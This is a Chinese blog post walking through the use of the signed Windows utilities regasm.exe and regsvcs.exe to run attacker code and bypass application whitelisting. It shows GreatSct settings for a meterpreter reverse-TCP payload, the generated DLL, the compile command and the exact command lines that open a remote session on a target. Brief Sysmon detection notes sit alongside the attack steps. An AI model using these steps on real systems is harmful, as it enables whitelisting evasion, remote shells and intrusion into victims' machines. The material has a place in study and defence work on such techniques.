美文网首页
在windows上执行恶意代码 by Regsvcs & Reg

在windows上执行恶意代码 by Regsvcs & Reg

作者: jjf012 | 来源:发表于2019-05-30 16:42 被阅读0次

    Regsvcs & Regasm

    Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。
    攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单,以指定应在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行,也将执行具有注册和取消注册属性的代码。

    regasm

    目前只知道.netframework 4.0的利用方式——GreatSct框架。
    仔细看下配置项,看来也有反调试措施。

    Payload: regasm/meterpreter/rev_tcp selected
    
    Required Options:
    
    Name                Value       Description
    ----                -----       -----------
    COMPILE_TO_DLL      Y           Compile to a DLL
    DEBUGGER            X           Optional: Check if debugger is attached
    DOMAIN              X           Optional: Required internal domain
    EXPIRE_PAYLOAD      X           Optional: Payloads expire after "Y" days
    HOSTNAME            X           Optional: Required system hostname
    INJECT_METHOD       Heap        Virtual or Heap
    LHOST                           IP of the Metasploit handler
    LPORT               4444        Port of the Metasploit handler
    PROCESSORS          X           Optional: Minimum number of processors
    SLEEP               X           Optional: Sleep "Y" seconds, check if accelerated
    TIMEZONE            X           Optional: Check to validate not in UTC
    USERNAME            X           Optional: The required user account
    

    然后执行generate

     [*] Language: regasm
     [*] Payload Module: regasm/meterpreter/rev_tcp
     [*] DLL written to: /usr/share/greatsct-output/compiled/payload1.dll
     [*] Source code written to: /usr/share/greatsct-output/source/payload1.cs
     [*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload1.dll
     [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload1.rc
    

    msfconsoleshow advanced是个好习惯,可以看到更多的配置项。

    可以选择手动编译源文件
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library payload.cs
    目标机上加载生成好的payload.dll即可创建会话

    C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\payload1.dll
    Microsoft (R) .NET Framework Assembly Registration Utility 4.0.30319.1
    Copyright (C) Microsoft Corporation 1998-2004.  All rights reserved.
    
    僵在这里不动了
    

    sysmon日志
    regasm.exe会发起反弹连接,触发事件ID 3

    regsvcs

    唯一的要求是组装的文件需要使用强名称进行签名。 Microsoft已经发布了名为Sn.exe(Strong Name Tool)的实用程序,它是Visual Studio和.NET框架工具的一部分,可用于生成一对公钥和私钥。

    可以跟上面一样手动编译源文件(并不需要sn生成的key)
    GreatSct会帮你编译好dll文件,直接在目标机上执行即可获得会话。

    C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
     c:\payload2.dll
    Microsoft (R) .NET Framework Services Installation Utility Version 4.0.30319.1
    Copyright (c) Microsoft Corporation.  All rights reserved.
    
    也是僵在这边
    

    sysmon日志
    regasm.exe也会发起反弹连接,触发事件ID 3

    自我小结

    1. 利用编程语言c#可以在内存加载shellcode,在目标主机上用net框架的csc.exe来编译成dll或者pe,借助白名单exe调用执行。
    2. 本机直接生成dll或者pe,借助白名单exe调用执行。
    3. 加载远程或本地sct文件或者inf文件,里面用js(或vb)生成wscript.shell对象并执行命令。而这些命令可以是1、2点
    4. 目前能直接内存落地shellcode只有powershell。

    相关文章

      网友评论

          本文标题:在windows上执行恶意代码 by Regsvcs & Reg

          本文链接:https://www.haomeiwen.com/subject/dtbvtctx.html